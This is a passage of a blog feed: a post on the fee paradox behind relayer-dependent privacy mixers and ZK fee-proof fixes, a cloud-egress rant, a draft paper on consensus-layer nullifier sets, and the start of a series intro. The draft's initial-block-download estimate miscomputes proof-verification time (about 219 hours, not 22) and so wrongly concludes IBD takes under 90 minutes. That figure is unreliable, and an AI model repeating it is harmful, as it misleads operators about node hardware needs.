<p>The first time I read the Tornado Cash whitepaper I missed the fee paragraph. I noticed the Merkle inclusion, the nullifier hash, the snarkjs circuit. I did not notice the part where, <em>to actually withdraw to a fresh address</em>, you need somebody else to broadcast the transaction. It was buried under &quot;operator/relayer&quot; — a word I generously read as &quot;convenience&quot;. It is not a convenience. It is the load-bearing wall of every smart-contract privacy mixer in production.</p>
<p>This post is post 2 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series. <a href="/blog/relayerless_privacy_intro/">Post 1</a> introduced the framework $\mathcal{F}_{\text{RP}}$ and outlined what the rest of the series builds. Here we slow down on the fee paradox itself — what it is, why every system using fees in a public token suffers it, and the three approaches that resolve it.</p>
<Aside kind="note">
This is the cleanest formalisation of the fee paradox I'm aware of. Most prior work either describes it informally or works around it implicitly. If you've ever asked "why can't I just send my own withdrawal" and gotten a hand-wave, this post is for you.
</Aside>

<h2>Definition: the fee paradox</h2>
<p>On any blockchain $\mathcal{B}$ with a fee-based inclusion mechanism:</p>
<ol>
<li>To submit a transaction, the submitter&#39;s address must pay a gas fee $f &gt; 0$.</li>
<li>To hold gas, the address must have been previously funded.</li>
<li>Funding an address creates an on-chain link to the funding source.</li>
</ol>
<p>Therefore, <strong>any address that submits a transaction has a traceable funding history</strong>. Any privacy-preserving withdrawal to a fresh (unfunded) address requires an external party to pay the gas fee.</p>
<p>Formally, in the <strong>fee paradox game</strong>:</p>
<ol>
<li>User $\mathcal{U}$ deposits value $v$ into a shielded pool.</li>
<li>$\mathcal{U}$ wishes to withdraw to a fresh $\mathsf{addr}_{\mathsf{recv}}$ with no prior on-chain history.</li>
<li>Adversary $\mathcal{A}$ observes all transactions.</li>
<li>If $\mathcal{U}$ funds $\mathsf{addr}_{\mathsf{recv}}$ to pay gas, $\mathcal{A}$ traces the funding source.</li>
<li>$\mathcal{A}$ wins by linking the withdrawal to a prior deposit with non-negligible advantage.</li>
</ol>
<p>$$
\mathsf{Adv}^{\mathsf{FeeParadox}}_{\mathcal{A}}(\lambda) ;\geq; 1 - \mathsf{negl}(\lambda) \quad \text{in standard blockchain models.}
$$</p>
<p>The advantage is overwhelming. The deck is stacked because the chain literally requires an attestation from a funded account before it will include any state transition. Privacy at the cryptographic layer collides with funding at the consensus layer, and the consensus layer wins.</p>
<h2>Why UTXO chains don&#39;t have this problem</h2>
<p>Bitcoin and Zcash inherit a different model. A UTXO transaction&#39;s &quot;fee&quot; is the difference between input value and output value:</p>
<p>$$
f ;=; \sum_i v^{\mathrm{in}}_i ;-; \sum_j v^{\mathrm{out}}_j.
$$</p>
<p>The miner takes $f$ as the implicit fee. There is no separate &quot;gas account&quot; that needs to exist beforehand. In Zcash specifically, a Sapling or Orchard transaction&#39;s <code>valueBalance</code> field — the net flow from the shielded pool to the transparent pool — <em>is</em> the fee. The binding signature proves the value commitment balance. The miner is paid out of value the prover is already moving, signed by the prover, with the prover&#39;s identity hidden by the ZK proof.</p>
<p>Result: <strong>Zcash is relayer-free by construction</strong>. Penumbra, Aleo, Namada, and Monero are too — for the same reason. They all run on chains whose native fee model is fee-from-balance, not gas-from-account.</p>
<p>The fee paradox is specific to <strong>account-model chains</strong> like Ethereum and Solana, where transactions require an explicit fee payer signature and the fee is debited from a known account.</p>
<h2>Three approaches to resolution</h2>
<p>The paper section §2.3 enumerates three approaches to resolving the paradox without a relayer:</p>
<h3>Approach A — Protocol-Native Fee Abstraction via ZK Fee Proofs</h3>
<p>The fee is extracted from the shielded pool <em>inside the ZK proof itself</em>. The proof attests that</p>
<p>$$
\sum_{i=1}^{n_{\mathsf{in}}} v_i ;=; \sum_{j=1}^{n_{\mathsf{out}}} v&#39;_j ;+; f
$$</p>
<p>where $f$ is a public input to the proof and $v_i, v&#39;_j$ are private inputs. Pedersen commitments make this clean: with $C_i = v_i \cdot G + r_i \cdot H$ for input notes and $C&#39;_j = v&#39;_j \cdot G + r&#39;_j \cdot H$ for output notes,</p>
<p>$$
\sum_i C_i ;=; \sum_j C&#39;<em>j ;+; f \cdot G ;+; r</em>\Delta \cdot H,
$$</p>
<p>where $r_\Delta = \sum_i r_i - \sum_j r&#39;_j$ is a blinding-factor residual that the prover demonstrates equals the right thing.</p>
<p>The validator extracts $f$ as inclusion compensation directly. The submitter does not need a public balance. This is what SPST does, and it&#39;s the path the whole series builds toward.</p>
<h3>Approach B — Nullifier-Derived Fee Authorization</h3>
<p>A second derivation from the spending key, parallel to the nullifier:</p>
<p>$$
\mathsf{nullifier} = \mathsf{PRF}_k(\rho), \qquad
\mathsf{fee_auth} = \mathsf{PRF}_k(\rho ,|, \text{``fee&#39;&#39;} ,|, f).
$$</p>
<p>The ZK proof proves both come from the same $(k, \rho)$, that $\mathsf{fee_auth}$ encodes $f$, and that the underlying note has sufficient balance. The fee is bound to the nullifier cryptographically — no party can alter the fee post-proof-generation.</p>
<p>This is more invasive than Approach A (changes the nullifier scheme) but gives a stronger non-malleability property. Most production designs use Approach A; Approach B becomes interesting when the protocol wants stricter binding for compliance audits.</p>
<h3>Approach C — Recursive Fee Amortization via Batch Proofs</h3>
<p>For high-frequency private transactions, fold $n$ proofs into a single Nova-style accumulator:</p>
<p>$$
\mathsf{FoldedProof}<em>n ;=; \mathsf{Fold}(\mathsf{FoldedProof}</em>{n-1}, , (\mathsf{tx}_n, w_n)).
$$</p>
<p>The folded proof attests that all $n$ transactions are individually valid and that the cumulative fee $F_n = \sum_{k=1}^n f_k$ has been correctly accumulated. A single on-chain verification covers all $n$ transactions.</p>
<p>On Solana, with ~200,000 CU per Groth16 verification and a per-transaction limit of ~1,400,000 CU, batches of $n \leq 7$ fit within a single transaction&#39;s compute budget. The amortised per-transaction CU cost drops by an order of magnitude.</p>
<h3>Tradeoff summary</h3>
<p>&lt;TradeoffTable rows={[
  { aspect: &#39;Approach A (ZK fee proof)&#39;,      pros: &#39;Smallest circuit overhead, no extra nullifier, clean Pedersen homomorphism&#39;, cons: &#39;Fee amount $f$ is public (necessary for validator compensation)&#39; },
  { aspect: &#39;Approach B (Nullifier-derived)&#39;, pros: &#39;Cryptographic binding of fee to spending key; non-malleable&#39;, cons: &#39;Doubles the PRF calls; fee changes mean new nullifier scheme&#39; },
  { aspect: &#39;Approach C (Folded batch)&#39;,      pros: &#39;Amortises verification cost across $n$ transactions&#39;, cons: &#39;Requires Nova/SuperNova folding; off-chain coordination overhead&#39; },
]}/&gt;</p>
<h2>What the relayer-dependent protocols do instead</h2>
<p>Tornado Cash, RAILGUN, and Light Protocol&#39;s older privacy phase all chose <strong>none of the above</strong>. They use a relayer who pays the gas in the host chain&#39;s native asset, takes a fee from the withdrawn amount, and broadcasts the transaction. The architecture is roughly:</p>
<p>&lt;Mermaid id=&quot;relayer-flow&quot; code={<code>flowchart LR   U[User] --&gt;|&quot;1- Build ZK proof locally&quot;| U   U --&gt;|&quot;2- Send proof + nullifier + recipient + fee&quot;| R[Relayer]   R --&gt;|&quot;3- Pay gas in native asset&quot;| R   R --&gt;|&quot;4- Broadcast withdrawal tx&quot;| P[Privacy Contract]   P --&gt;|&quot;5- Verify proof, check nullifier&quot;| P   P --&gt;|&quot;6- N minus f tokens to recipient&quot;| U   P --&gt;|&quot;7- f tokens fee to relayer&quot;| R   classDef actor stroke:#4ade80,stroke-width:2px,fill:#0a0a0a,color:#fff   class U,R,P actor </code>}/&gt;</p>
<p>The proof is binding — the relayer cannot redirect funds, cannot change the fee — but the relayer <strong>can refuse to broadcast</strong>. They can also log the user&#39;s IP, timing, and metadata. In RAILGUN this is mitigated by routing over the Waku P2P network; in Tornado Cash it was just an HTTPS endpoint. Either way: the relayer is a third party, and that third party is a regulatory and operational single point of failure.</p>
<h2>What changes when fees are folded into the proof</h2>
<p>Once the fee comes from inside the proof, three things become different:</p>
<ol>
<li><p><strong>The submitter does not need a balance.</strong> The transaction can be broadcast by the user themselves from a fresh address that has zero of the host chain&#39;s native asset. The chain&#39;s transaction-broadcasting interface accepts transactions from any party with a valid signature; that signature now binds nothing to the user&#39;s identity.</p>
</li>
<li><p><strong>The validator gets paid out of the shielded pool&#39;s escrow.</strong> On Solana, this is realised by having the privacy program&#39;s PDA hold a lamport reserve. The fee $f$ — proven inside the SPST proof — authorises a transfer from this reserve to the validator. The shielded pool&#39;s internal accounting decrements by $f$. Every deposit replenishes the reserve.</p>
</li>
<li><p><strong>Censorship surface collapses.</strong> There is no &quot;approved relayer list&quot; for an adversary to attack. There is no operator to subpoena. The user&#39;s only dependency is <strong>chain liveness</strong> — and that&#39;s what Solana&#39;s PoS consensus guarantees.</p>
</li>
</ol>
<p>This is the Self-Sovereignty Theorem in informal form. The next post (<a href="/blog/spst_self_paying_shielded_transactions/">SPST</a>) makes it formal.</p>
<Aside kind="warn">
None of this eliminates the *fee amount* leak. The fee $f$ is necessarily public — the validator has to see it to know they're being paid. But the per-transaction fee tier reveals only $O(\log f_{\max})$ bits, and within a fee tier all SPST transactions are indistinguishable. Standardising fees (ZIP-317-style) tightens this further.
</Aside>

<h2>Bibliography</h2>
<ul>
<li>Pertsev, A., Semenov, R., Storm, R. (2019). <em>Tornado Cash Privacy Solution v1.4.</em> <a href="https://berkeley-defi.github.io/assets/material/Tornado%20Cash%20Whitepaper.pdf">https://berkeley-defi.github.io/assets/material/Tornado%20Cash%20Whitepaper.pdf</a></li>
<li>RAILGUN Documentation. <em>Privacy System Architecture.</em> <a href="https://docs.railgun.org">https://docs.railgun.org</a></li>
<li>Hopwood, D. et al. (2016–2026). <em>Zcash Protocol Specification.</em> <a href="https://zips.z.cash/protocol/protocol.pdf">https://zips.z.cash/protocol/protocol.pdf</a></li>
<li>Pedersen, T. P. (1991). <em>Non-Interactive and Information-Theoretic Secure Verifiable Secret Sharing.</em> CRYPTO 1991.</li>
<li>Kothapalli, A., Setty, S., Tzialla, I. (2022). <em>Nova: Recursive Zero-Knowledge Arguments from Folding Schemes.</em> <a href="https://eprint.iacr.org/2021/370">https://eprint.iacr.org/2021/370</a></li>
</ul>
<p>Previous: <a href="/blog/relayerless_privacy_intro/">Series intro ←</a> · Next: <a href="/blog/spst_self_paying_shielded_transactions/">SPST: self-paying shielded transactions →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Egress is the new vendor lock-in]]></title>
  <id>https://blog.skill-issue.dev/notes/rant-cloud-egress/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/notes/rant-cloud-egress/"/>
  <published>2026-04-28T08:30:00.000Z</published>
  <updated>2026-04-28T08:30:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="cloud"/>
  <category term="rant"/>
  <content type="html"><![CDATA[<p>Two of the big three quietly raised egress this quarter while announcing &quot;AI-friendly&quot; pricing on inbound. Storage is cheap, compute is cheap, the bill is the door. Pick your stack assuming you&#39;ll have to evacuate it under load. Anyone telling you &quot;the data lives where the GPUs live&quot; is selling you a one-way ticket.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[L1 Nullifier Sets: Consensus-Layer Double-Spend Prevention in a UTXO-Based Privacy Chain]]></title>
  <id>https://blog.skill-issue.dev/papers/l1-nullifier-sets/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/papers/l1-nullifier-sets/"/>
  <published>2026-04-28T00:00:00.000Z</published>
  <updated>2026-04-28T00:00:00.000Z</updated>
  <author><name>Hayden &apos;Dax&apos; Porter-Aylor</name></author>
  <category term="paper"/>
  <category term="status:draft"/>
  <category term="nullifier"/>
  <category term="consensus"/>
  <category term="privacy"/>
  <category term="UTXO"/>
  <category term="Bitcoin"/>
  <category term="zero-knowledge"/>
  <category term="sparse Merkle tree"/>
  <summary type="html"><![CDATA[We formalise the choice of locating the nullifier set in consensus state, rather than in wallet-side software, for a UTXO-based privacy chain derived from Bitcoin. We give a chain model extending the Bitcoin backbone protocol with a shielded UTXO type, a soundness theorem bounding the probability of an accepted double-spend by the collision probability of the underlying nullifier hash, and a proof sketch reducing soundness to the collision resistance of Poseidon-2. We discuss extensions to compressed-account chains, the storage and synchronisation costs of a monotone nullifier set, and identify two open questions on sparse-Merkle-tree maintenance under adversarial insert orderings.
]]></summary>
  <content type="html"><![CDATA[<h2>1. Introduction</h2>
<p>A shielded UTXO chain reveals neither sender, recipient, nor amount on chain. To prevent double spends without revealing the spent note, every shielded protocol since Zerocash [@bensasson2014zerocash] has used a <em>nullifier</em>: a deterministic single-use identifier $\mathsf{nf}$ derived from a secret known only to the spender and the public commitment of the consumed note. The chain treats the global set of disclosed nullifiers as state; a duplicate nullifier indicates a double spend.</p>
<p>The structural question every such chain must answer is <em>where the nullifier set lives</em>. The historical answers — wallet-side index, smart-contract sidechain, consensus-layer state — span a spectrum of soundness, operator-trust, and engineering complexity. The Zcash protocol [@hopwood2022zcash] places the set in node chainstate; the Tornado-style Ethereum deployments place it in a contract; some lighter-weight UTXO experiments leave it to the wallet.</p>
<p>We focus on a specific point in this design space: <strong>a Bitcoin-fork chain that carries the nullifier set in consensus state.</strong> We refer to such a chain as an <em>L1-nullifier chain</em>. The contribution of this paper is:</p>
<ol>
<li>A chain model that extends the Garay–Kiayias–Leonardos backbone protocol [@garay2015backbone] with a shielded UTXO type and a chainstate-resident nullifier set.</li>
<li>A soundness theorem establishing that in this model the probability of an accepted double spend is bounded above by the probability of a hash collision in the underlying nullifier construction.</li>
<li>A proof sketch reducing soundness to the collision resistance of the hash used to derive nullifiers — in our instantiation, Poseidon-2 [@grassi2023poseidon2] over the BN254 scalar field.</li>
<li>A treatment of two extensions: compressed-account chains where notes are batched into a Merkle commitment per block, and the operator cost of maintaining a sparse Merkle tree [@buterin2016sparse] over the nullifier set under adversarial insert orderings.</li>
</ol>
<p>The paper is theorem-statement in shape and engineering-aware in spirit. Where empirical claims appear, they are flagged.</p>
<h2>2. Chain model</h2>
<p>We adopt the backbone abstraction of Garay et al. [@garay2015backbone] with three additions.</p>
<p><strong>Definition 2.1 (Shielded UTXO chain).</strong> A shielded UTXO chain $\mathcal{C}$ is a sequence of blocks $B_0, B_1, \dots$ where each $B_i$ contains:</p>
<ol>
<li>A set of <em>transparent</em> transactions $\mathsf{Tx}^t_i$ in the standard Bitcoin sense.</li>
<li>A set of <em>shielded</em> transactions $\mathsf{Tx}^s_i$. Each $\tau \in \mathsf{Tx}^s_i$ contains:<ul>
<li>A vector of <em>new commitments</em> ${C_j}$ — Pedersen commitments [@pedersen1991noninteractive] to values not visible on chain.</li>
<li>A vector of <em>spent nullifiers</em> ${\mathsf{nf}_k}$ — the nullifier outputs of consumed notes.</li>
<li>A zero-knowledge proof $\pi$ asserting that the spent notes were valid and unspent at some prior block.</li>
</ul>
</li>
<li>A coinbase commitment to the root of the global nullifier set $\mathsf{NS}_i$ as of block $i$.</li>
</ol>
<p>A node maintains $\mathsf{NS}<em>i = \bigcup</em>{j \le i} \bigcup_{\tau \in \mathsf{Tx}^s_j} {\mathsf{nf}_k : \mathsf{nf}_k \in \tau}$ as part of its chainstate, together with the standard UTXO set.</p>
<p><strong>Definition 2.2 (Validity).</strong> Block $B_i$ is valid with respect to $\mathcal{C}|_{&lt;i}$ if:</p>
<ol>
<li>Every transparent transaction in $\mathsf{Tx}^t_i$ is valid by Bitcoin script rules.</li>
<li>For every shielded transaction $\tau \in \mathsf{Tx}^s_i$, the proof $\pi$ verifies under the canonical shielded-spend relation.</li>
<li><strong>No-collision rule:</strong> For every spent nullifier $\mathsf{nf}<em>k$ in $B_i$, $\mathsf{nf}<em>k \notin \mathsf{NS}</em>{i-1} \cup \bigcup</em>{\tau&#39; \in \mathsf{Tx}^s_i \setminus {\tau}} {\mathsf{nf} : \mathsf{nf} \in \tau&#39;}$.</li>
<li>The coinbase&#39;s $\mathsf{NS}$-root commitment matches the recomputed root after applying $B_i$&#39;s nullifiers.</li>
</ol>
<p>The no-collision rule is the central addition. Under the standard backbone semantics, an honest node observing a block whose shielded transactions reuse a nullifier <em>rejects the block</em>. The block is not &quot;valid until someone notices&quot;; it is invalid at the consensus boundary, in the same way a transparent transaction spending an absent UTXO is invalid.</p>
<p><strong>Definition 2.3 (Double spend).</strong> A <em>double spend</em> against $\mathcal{C}$ is a pair of accepted shielded transactions $\tau, \tau&#39;$ in the same chain history such that $\tau \neq \tau&#39;$ and $\exists, \mathsf{nf} : \mathsf{nf} \in \tau \cap \tau&#39;$.</p>
<h2>3. Soundness</h2>
<p><strong>Theorem 3.1 (Soundness of L1-nullifier-set enforcement).</strong> Let $\mathcal{C}$ be a shielded UTXO chain as in Definition 2.1, with nullifier function $\mathsf{nf} = H(sk, C)$ where $H$ is a $(\lambda)$-collision-resistant hash and $sk$ is uniformly distributed in the note&#39;s secret-key space. Then, conditioned on the underlying backbone protocol&#39;s common-prefix and chain-quality properties [@garay2015backbone] holding with parameter $\epsilon$, the probability that an accepted block contains a double spend is at most $\mathrm{negl}(\lambda) + \epsilon$.</p>
<p><em>Proof sketch.</em> Let $\tau$ and $\tau&#39;$ be two shielded transactions sharing a nullifier $\mathsf{nf}$. Two cases.</p>
<p><strong>Case A.</strong> $\tau$ and $\tau&#39;$ consume the same underlying note. By construction of the proof system, the existence of a valid $\pi$ for both transactions implies both knew the witness $(sk, C)$ for the consumed note. The chain accepts at most one such transaction by the no-collision rule (Definition 2.2, clause 3). Acceptance of both therefore violates the no-collision rule and constitutes a consensus violation, not a soundness violation: such an acceptance can occur only if the backbone&#39;s common-prefix property fails, which happens with probability $\le \epsilon$.</p>
<p><strong>Case B.</strong> $\tau$ and $\tau&#39;$ consume <em>distinct</em> notes that produce the same nullifier. This requires $H(sk_1, C_1) = H(sk_2, C_2)$ with $(sk_1, C_1) \neq (sk_2, C_2)$, i.e., a collision in $H$. By assumption $H$ is $(\lambda)$-collision-resistant, so the probability of this case is $\mathrm{negl}(\lambda)$.</p>
<p>A union bound over the two cases yields the theorem.</p>
<p>The structure of the argument deserves comment. The interesting work is done by the no-collision rule, which lifts double-spend prevention from a wallet-side liveness property (where one trusts every wallet to refuse to construct a colliding spend) to a chain-wide safety property (where a colliding block is rejected by every honest node regardless of who produced it). The proof is then almost trivial; this is the point. A clean primitive admits a clean theorem.</p>
<h3>3.1 Concrete instantiation: Poseidon-2 over BN254</h3>
<p>In our reference implementation, $H(sk, C) = \text{Poseidon2}_t(sk, C)$ with $t = 3$ and the BN254 [@barreto2005bn] scalar field. Poseidon-2 [@grassi2023poseidon2] inherits the cryptanalytic argument of the original Poseidon design [@grassi2021poseidon] with simplified round structure, and is currently the subject of active analysis [@bariant2023algebraic]. Under the standard sponge indifferentiability argument [@bertoni2008indifferentiability], Poseidon-2 is collision-resistant against generic adversaries up to the output bound, which for the BN254 field with a 256-bit output gives $\lambda = 128$ bits of collision resistance — sufficient for practical deployment.\note{TODO: empirical validation — confirm cryptanalytic state-of-the-art for Poseidon-2 at submission time. Bariant et al. 2023 introduces a degree-of-freedom argument worth surveying.}</p>
<p>Theorem 3.1 then specialises to the statement that, conditioned on the backbone holding, the probability of an accepted double spend on this chain is $2^{-128}+\epsilon$ — for any plausible $\epsilon$, the cryptographic term dominates the operational term, which is the desired regime.</p>
<h2>4. Storage and synchronisation costs</h2>
<p>The headline cost of consensus-resident nullifier sets is monotonically increasing storage. Each accepted shielded spend permanently extends $\mathsf{NS}$ by $|H|$ bytes. We give a back-of-envelope analysis.</p>
<p>For Poseidon-2 over BN254, $|H| = 32$ bytes. If the chain achieves a long-term steady state of $k$ shielded spends per block at a block interval of $T$ seconds, the annual nullifier-set growth is
$$
\Delta_{\text{year}} = k \cdot \frac{31{,}536{,}000}{T} \cdot 32 \text{ bytes}.
$$</p>
<p>For a one-minute-block chain ($T = 60$) with five shielded spends per block, $\Delta_{\text{year}} \approx 84$ MB.\note{TODO: empirical validation — confirm against measured Vanta block telemetry once a steady-state shielded-spend rate is established.} Over a decade this yields $\approx 840$ MB of nullifier state, well below the current Bitcoin UTXO set [@bonneau2015sok].</p>
<p>Synchronisation cost is dominated by the $O(\log n)$ sparse-Merkle insertion path per nullifier, where $n$ is the size of $\mathsf{NS}$. Provided that nodes maintain $\mathsf{NS}$ as an SMT [@buterin2016sparse] with hash-array-mapped-trie compression, the per-insert cost is on the order of microseconds, and the per-block insert batch is dominated by the proof-verification time of the shielded transactions, not the SMT maintenance.</p>
<h2>4.1 Initial-block-download cost</h2>
<p>The initial-block-download (IBD) cost dominates the operator experience for a new node joining the network. Concretely: how long does it take for a freshly synced node to reach tip, given that it must validate every shielded transaction in the chain&#39;s history?</p>
<p>The validation cost per shielded transaction breaks down into three components:</p>
<ol>
<li>The script-validation cost (transparent path), unchanged from upstream Bitcoin.</li>
<li>The proof-verification cost. For Groth16 [@groth2016size] verification on BN254 with three pairing operations, this is approximately 30 ms per proof on a modern CPU.</li>
<li>The nullifier-set membership check and SMT update, approximately 100 µs per nullifier on a SSD-backed implementation.</li>
</ol>
<p>Component (2) dominates by two orders of magnitude. A back-of-envelope calculation: assuming 5 shielded spends per block at 30 ms verification each, the per-block proof cost is 150 ms. For a one-minute-block chain over ten years, this is $5 \cdot 525{,}600 \cdot 10 \cdot 0.030 \approx 22$ hours of pure CPU time, which scales linearly with the number of cores available for parallel proof verification. On a 16-core machine, IBD completes in under 90 minutes — comparable to Bitcoin&#39;s transparent IBD.\note{TODO: empirical validation — measure on production hardware once the chain has substantial history.}</p>
<p>The takeaway is that IBD is feasible but not trivial. Operators running on resource-constrained hardware (single-core SBCs, embedded systems) should be advised that IBD is the primary bottleneck and that the chain&#39;s hardware floor is set by proof-verification performance.</p>
<h2>4.2 Pruning the proof, not the nullifier</h2>
<p>A natural follow-on question to §6.2&#39;s discussion of nullifier pruning: can we instead prune the <em>proofs</em> that established the validity of historical shielded spends, while retaining the nullifiers themselves?</p>
<p>The answer is yes, and our reference implementation does so: a node that has reached the network&#39;s checkpointed tip discards proof bytes for transactions older than a configurable horizon, retaining only the nullifier and the commitment-tree root. The savings are substantial — proofs are 256 bytes in our Groth16 instantiation, so over a decade with 5 spends per block one saves roughly $5 \cdot 525{,}600 \cdot 10 \cdot 256 \approx 6.5$ GB of proof data.</p>
<p>The soundness of pruning rests on the same assumption that justifies pruning the witness data of confirmed transparent transactions: a sufficiently-confirmed shielded spend will not be reorganised, and a node that joins after the prune horizon has elapsed must trust the network&#39;s checkpoints to validate history rather than re-verifying every proof. This is a standard SPV-style assumption and is conventionally accepted.</p>
<h2>5. Extension: compressed-account chains</h2>
<p>A <em>compressed-account chain</em> batches notes into a single Merkle commitment per block to reduce on-chain storage; the chainstate stores roots, not individual notes. The natural extension of L1 nullifier sets to compressed-account chains stores not individual nullifiers but a Merkle tree of nullifiers per block, with the per-block root committed in the coinbase.</p>
<p>The soundness statement (Theorem 3.1) carries over with minor modifications. The no-collision rule generalises to: <em>for every spent nullifier in the block, no preceding block&#39;s nullifier-tree contains it, and no other transaction in this block discloses it.</em> Membership proofs replace direct lookup. The asymptotic cost of a membership proof is again $O(\log n)$ but now with a larger constant due to the per-block tree maintenance overhead.</p>
<p>We do not pursue a full proof of the compressed-account variant in this paper; we register only that the soundness argument transfers, conditioned on the membership-proof verifier being itself sound — a property the underlying SNARK already provides.\note{TODO: empirical validation — formalise once a reference compressed-account UTXO chain ships in production.}</p>
<h2>6. Two open questions</h2>
<p>We close with two questions our own engineering experience has not yet resolved.</p>
<h3>6.1 Adversarial insert ordering</h3>
<p>A sparse Merkle tree&#39;s per-insert cost depends, in the worst case, on the depth of the longest currently-occupied path. An adversary that influences the order of nullifier insertions — by, e.g., populating insertion blocks with adversarially-chosen shielded transactions — could in principle drive insertion paths toward a worst-case profile, increasing per-block validation time. We do not have a tight bound on the adversary&#39;s leverage here. Existing analyses of Merkle-tree insertion costs assume uniformly random keys, which is an unrealistic assumption when the keys are hash outputs the adversary partly chooses.</p>
<p>This is sharper than the corresponding question for transparent UTXO sets, where insertion order is largely unconstrained, because nullifier values are deterministically derived from the spending witness. An adversary controlling a fraction of block-production capacity has bounded but non-zero influence over the nullifier stream. <strong>Open question.</strong> Bound the worst-case per-insert cost as a function of the adversary&#39;s mining-power fraction.</p>
<h3>6.2 Pruning under monotonic growth</h3>
<p>The nullifier set is, by construction, monotone: nothing is ever removed. After ten years of operation a chain with substantial shielded-spend volume will accrete several gigabytes of nullifier state. We do not have a satisfying answer to <em>when, if ever, it is safe to prune.</em> Pruning under the canonical model breaks soundness: a pruned nullifier could be re-spent.</p>
<p>A speculative direction: pruning conditioned on a soundness-preserving accumulator structure that retains a constant-size membership proof for any past nullifier. We do not pursue this here.</p>
<h2>6.3 Witness-availability in light-client settings</h2>
<p>A third question the engineering literature touches but has not, to our knowledge, formalised: <em>under what conditions can a light client verify that an alleged nullifier set is faithful?</em> A light client does not store the full $\mathsf{NS}$; it stores commitment-tree roots and verifies SPV-style. The coinbase commitment to the SMT root of $\mathsf{NS}_i$ allows a light client to verify, given a membership proof, that a particular nullifier is included or excluded as of block $i$.</p>
<p>The verification cost is logarithmic in $|\mathsf{NS}_i|$, but the proof construction is performed by full nodes, which have an incentive to truthfully serve membership proofs to light clients only insofar as the underlying chain is honest by hypothesis. A light client receiving a fabricated <em>exclusion</em> proof from a malicious full node has no recourse if the underlying merkle root does not commit to enough information to detect the fabrication. We rely on the SMT&#39;s structural property that exclusion proofs in a sparse Merkle tree are unique and verifiable — given a leaf path, either the leaf is empty (and the path&#39;s hashes match the root) or the leaf is occupied (and the path includes the occupant). An adversary cannot forge an exclusion proof for a present element, conditioned on the SMT hash function being collision-resistant.</p>
<p>This reduces the light-client safety argument to the same Theorem 3.1 — collision resistance of the underlying hash — without introducing a new trust assumption.</p>
<h2>6.4 Re-org tolerance and finality</h2>
<p>A separate question concerns how nullifier-set state behaves under chain reorganisations. Bitcoin&#39;s UTXO set is reorg-tolerant by construction: a UTXO that is spent in a block, and then the block is reorganised away, is restored as unspent. The same property must hold for the nullifier set: a nullifier consumed in a block that is subsequently orphaned must be removed from $\mathsf{NS}$, returning the corresponding note to the unspent state.</p>
<p>In our reference implementation this is straightforward — the nullifier set is maintained as part of the chainstate snapshot, and chainstate rollbacks happen atomically with block-level rollbacks. The implementation cost is confined to the SMT update logic: deletions during reorg are operationally identical to insertions during apply, with the input ordering reversed.</p>
<p>The interesting subtlety is that selfish-mining attacks [@eyal2014majority] [@sapirshtein2016optimal] interact with the nullifier set in the same way they interact with the transparent UTXO set: an attacker who withholds a block can construct a competing chain with a different nullifier history, and the network may converge on either. A spender whose transaction is reorganised away should be informed by their wallet, exactly as a transparent-transaction spender is informed by their wallet. The nullifier set inherits the reorg semantics of the underlying chain; it does not introduce a new finality caveat.</p>
<h2>7. Conclusion</h2>
<p>We have shown that a Bitcoin-fork shielded UTXO chain that places the nullifier set in consensus state admits a clean soundness statement (Theorem 3.1) reducing double-spend prevention to the collision resistance of the underlying nullifier hash. The cost is monotonic chainstate growth, manageable in practice for plausible shielded-spend rates [@bonneau2015sok] and below current Bitcoin UTXO-set sizes for a decade-scale operating window.</p>
<p>The architectural argument is that <em>consensus is the right place for safety properties.</em> Wallet-side enforcement is a liveness property that the network depends on every wallet implementer to honour. Consensus-side enforcement makes the rule binding for every honest node regardless of wallet provenance. For privacy chains aiming at the same finality semantics as transparent Bitcoin, the consensus-side answer is the structurally honest one.</p>
<h2>References</h2>
<p>[^ref]</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Relayerless privacy on a Turing-complete L1: an intro to F_RP]]></title>
  <id>https://blog.skill-issue.dev/blog/relayerless_privacy_intro/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/relayerless_privacy_intro/"/>
  <published>2026-04-26T15:00:00.000Z</published>
  <updated>2026-04-26T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="privacy"/>
  <category term="solana"/>
  <category term="vanta"/>
  <category term="research"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[A series-opening map of the relayerless full-privacy framework I've been writing up. Five cryptographic games, four constructions (SPST, PPST, TAB, UPEE), one main theorem — and why it matters that the target chain is Solana.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>I&#39;ve been writing a paper. Working title: <em>Relayerless Full-Privacy Framework for Turing-Complete Blockchain Systems</em>. I keep calling it $\mathcal{F}_{\text{RP}}$ in my notebook, and I&#39;ll keep doing that here. The shape of it is a quintuple of protocols — $\mathsf{Setup}$, $\mathsf{Shield}$, $\mathsf{Transfer}$, $\mathsf{Unshield}$, $\mathsf{Execute}$ — that together aim to do something every existing privacy system on a smart-contract chain refuses to do: <strong>let the user finish a private transaction without paying anyone but a validator</strong>.</p>
<p>This post is the orientation. Subsequent posts in the series step through each construction in detail with proofs, circuit costs, and Solana instantiation numbers. Here I want to set the table — what problem $\mathcal{F}_{\text{RP}}$ targets, what games formalise it, and how the four pieces compose.</p>
<Aside kind="note">
This is post 1 of 11 in the [relayerless-privacy](/series/relayerless-privacy) series. It's also a working preview of the full preprint, which lives at [`src/content/papers/`](/papers) and which I keep editing in public.
</Aside>

<h2>The relayer problem, in one paragraph</h2>
